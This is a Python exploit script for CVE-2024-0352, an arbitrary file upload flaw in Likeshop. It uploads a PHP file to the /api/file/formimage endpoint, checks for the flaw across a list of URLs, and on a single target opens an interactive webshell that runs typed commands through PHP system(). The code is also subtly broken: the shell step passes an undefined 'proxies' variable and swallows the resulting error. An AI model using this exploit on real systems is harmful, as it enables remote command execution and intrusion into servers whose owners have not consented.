import requests
import urllib3
import string,random
from urllib.parse import urljoin,quote
import argparse
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def check(url):
    url = url.rstrip("/")
    target = urljoin(url, "/api/file/formimage")
    headers = {
        "User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95",
         "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarygcflwtei"
    }
    test_php_data = """------WebKitFormBoundarygcflwtei\r\nContent-Disposition: form-data; name="file";filename="{{filename}}.php"\r\nContent-Type: application/x-php\r\n\r\n<?php echo md5(123456);unlink(__FILE__);?>\r\n------WebKitFormBoundarygcflwtei--"""
    try:
        upresponse = requests.post(target, headers=headers, data=test_php_data, verify=False)
        if upresponse.status_code == 200 and 'uploads' in upresponse.text and '.php' in upresponse.text:
            json_data = json.loads(upresponse.text)
            base_url = json_data["data"]["base_url"]
            text_url = urljoin(url, '/'+base_url)
            text_response = requests.get(text_url,verify=False)
            if text_response.status_code == 200 and 'e10adc3949ba59abbe56e057f20f883e' in text_response.text:
                print(f"\033[31mDiscovered:{url}: CVE-2024-0352_Likeshop_ArbitraryFileUpload!\033[0m")
                return True
    except Exception as e:
        pass


def run(url):
    url = url.rstrip("/")
    target = urljoin(url, "/api/file/formimage")
    headers = {
        "User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarygcflwtei"
    }
    if check(url):
        while True:
            command = input("\033[34mPlease input command (stop input:exit):\033[0m")
            shell = """------WebKitFormBoundarygcflwtei\r\nContent-Disposition: form-data; name="file";filename="{{filename}}.php"\r\nContent-Type: application/x-php\r\n\r\n<?php system(\'{}\');unlink(__FILE__);?>\r\n------WebKitFormBoundarygcflwtei--""".format(command)
            if "exit" not in command:
                try:
                    upresponse = requests.post(target, verify=False, headers=headers, data=shell, timeout=15)
                    if upresponse.status_code == 200 and 'uploads' in upresponse.text and '.php' in upresponse.text:
                        json_data = json.loads(upresponse.text)
                        base_url = json_data["data"]["base_url"]
                        text_url = urljoin(url, '/' + base_url)
                        text_response = requests.get(text_url, verify=False,proxies=proxies)
                        if text_response.status_code == 200:
                            print(text_response.text)
                except Exception as e:
                    pass
            else:
                print("\033[93mThe tested webshell has been automatically deleted\033[0m")
                break

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt

    if url:
        run(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")